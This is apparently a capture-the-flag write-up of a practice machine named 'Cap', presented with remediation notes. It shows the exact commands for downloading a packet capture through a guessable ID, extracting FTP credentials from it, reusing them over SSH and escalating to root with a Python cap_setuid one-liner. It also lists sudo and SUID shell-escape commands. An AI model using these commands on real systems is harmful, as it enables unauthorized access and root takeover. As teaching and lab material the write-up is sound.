Cap
Summary
I discovered a network-monitoring web application that stored past packet captures accessible by a sequential numeric ID. By guessing ID zero, I downloaded the very first capture on the system, which contained a live FTP session and the user nathan's password in cleartext. Those same credentials unlocked an SSH session, giving me an interactive shell.
From that shell, a single recursive capability scan revealed that the system Python interpreter had been granted the cap_setuid Linux privilege, which lets any process it spawns assume root identity. One Python one-liner later, I had a root shell and full control of the host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -p21,22,80 -sV --version-light $TARGETftp $TARGETExact commands 1
curl -s -o /dev/null -w "%{http_code}" http://$TARGET/data/0Exact commands 3
curl -s http://$TARGET/download/0 -o capture_0.pcaptshark -r capture_0.pcap -Y ftp -T fields -e ftp.request.command -e ftp.request.arg 2>/dev/nulltcpdump -r capture_0.pcap -A 2>/dev/null | grep -E 'USER|PASS'FixEnforce ownership checks on the packet-capture download endpointCritical
Exact commands 1
wireshark capture_0.pcapFixReplace FTP with an encrypted file-transfer protocolHigh
Exact commands 3
ssh nathan@$TARGETcat /home/nathan/user.txtidFixEnforce unique passwords for each service account and disable SSH password authenticationHigh
Exact commands 2
getcap -r / 2>/dev/nullsudo -lExact commands 3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'idcat /root/root.txtFixRemove the cap_setuid capability from the Python interpreterCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.